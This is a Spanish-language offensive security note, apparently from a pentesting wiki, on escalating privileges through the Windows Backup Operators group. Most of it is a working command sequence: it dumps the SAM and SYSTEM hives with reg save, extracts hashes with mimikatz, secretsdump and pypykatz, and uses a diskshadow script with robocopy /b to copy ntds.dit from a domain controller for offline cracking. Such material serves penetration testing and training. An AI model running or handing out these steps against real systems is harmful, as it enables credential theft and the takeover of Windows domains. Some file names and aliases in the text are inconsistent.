Backup Operators
BackupOperators - SeBackupPrivilege y SeRestorePrivilege
El grupo BackupOperators es un grupo integrado en Windows que otorga a sus miembros la capacidad de realizar copias de seguridad y restaurar archivos, incluso si no tienen permisos para acceder a esos archivos en circunstancias normales. Este privilegio hace que el grupo sea especialmente poderoso y potencialmente peligroso en escenarios de escalación de privilegios, ya que los miembros pueden acceder a archivos sensibles, como la base de datos SAM (Security Account Manager) y archivos del sistema, lo que podría permitirles obtener acceso de mayor nivel o incluso privilegios de SYSTEM.
Privilegios Clave del grupo Backup Operators
Los miembros del grupo Backup Operators tienen dos privilegios principales:
- SeBackupPrivilege:
- Permite a los usuarios omitir los permisos del sistema de archivos para realizar copias de seguridad. Esto significa que un miembro de este grupo puede leer archivos a los que normalmente no tendría acceso.
- Ejemplo de uso: Acceder a archivos protegidos como el archivo SAM, que almacena los hashes de las contraseñas de los usuarios locales.
- SeRestorePrivilege:
- Permite a los usuarios restaurar archivos en cualquier ubicación del sistema de archivos, incluyendo ubicaciones protegidas o sensibles. Esto también les permite modificar archivos que normalmente estarían restringidos.
- Ejemplo de uso: Sobrescribir archivos del sistema, como binarios de servicios, para ejecutar código malicioso con privilegios elevados.
Explotación
Extraer el archivo SAM:
Usar herramientas como reg.exe
para exportar el archivo SAM y SYSTEM:
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
Extraer los hashes de contraseñas.
mimikatz
Desde Windows podemos usar mimikatz
sekurlsa::samdump::local c:\temp\sam c:\temp\system
También podemos transferir los archivos a nuestra máquina atacante y usar secretsdump.py
o pypykatz
.
secretsdump.py
impacket-secrestsdump -sam sam -system system local
pypykatz
pypykatz registry --sam sam system
Extracción del archivo ntds.dit en un Controlador de Dominio
A diferencia de la explotación en sistemas independientes, en un Controlador de Dominio (DC), necesitamos acceder al archivo ntds.dit para extraer los hashes de contraseñas, junto con el archivo SYSTEM. Sin embargo, el archivo ntds.dit presenta un desafío importante: mientras el Controlador de Dominio está en funcionamiento, este archivo está siempre en uso, lo que impide su copia directa mediante métodos convencionales.
Para superar este problema, podemos utilizar la herramienta diskshadow
, una funcionalidad integrada de Windows que nos permite crear una copia en la sombra (shadow copy) de una unidad, incluso si está en uso. Aunque diskshadow puede ejecutarse directamente desde una shell, este enfoque suele ser complicado y propenso a errores. Por ello, optamos por crear un Archivo Shell Distribuido (DSH), que contiene todos los comandos necesarios para que diskshadow realice la copia de la unidad de manera automatizada.
1. Crear el Archivo DSH
En nuestra máquina de atacante, creamos un archivo DSH utilizando un editor de texto. Este archivo contendrá los comandos necesarios para que diskshadow cree una copia de la unidad C: en una unidad virtual Z:. Aquí está el contenido del archivo DSH:
> vim cmd
set context persistent nowriters
add volume c: alias cmd
create
expose %cmd% z:
> unix2dos cmd.dsh
set context persistent nowriters
: Configura el contexto para crear una copia en la sombra persistente y sin escritura.add volume c: alias backup
: Agrega la unidad C: como un volumen para la copia, asignándole el alias backup.create
: Crea la copia en la sombra.expose %backup% z:
: Expone la copia en la sombra como una nueva unidadZ:
.
2. Convertir el Archivo DSH a Formato Windows
Dado que el archivo DSH se crea en un entorno Linux, debemos asegurarnos de que sea compatible con Windows. Para ello, usamos la herramienta unix2dos
, que convierte la codificación y el espaciado del archivo a un formato compatible con Windows:
unix2dos cmd.dsh
Esto asegura que los saltos de línea y la codificación sean correctos para su ejecución en Windows.
3. Transferir el Archivo DSH al Controlador de Dominio:
Una vez convertido, transferimos el archivo DSH al Controlador de Dominio utilizando métodos como SMB, FTP o cualquier otro medio disponible.
4. Ejecutar diskshadow con el Archivo DSH y Extraer el Archivo ntds.dit
Una vez conectados en la máquina objetivo, nos movemos al Directorio Temp y subimos el archivo archivo.dsh
. Luego, usamos el script diskshadow con dsh como se muestra abajo. Si se observa, se puede notar que diskshadow está efectivamente ejecutando los mismos comandos que ingresamos en el archivo dsh secuencialmente. Después de ejecutarse, como se ha comentado, creará una copia de la unidad C en la unidad Z. Ahora, podemos utilizar la herramienta RoboCopy para copiar el archivo de la unidad Z al directorio temporal.
cd C:\Temp
upload archivo.dsh
cmd.exe /c "diskshadow /s archivo.dsh"
robocopy /b z:\windows\ntds . ntds.dit
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
5. Extraer los hashes
Transferimos los archivos a nuestra máquina atacante y extraemos los hashes.
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL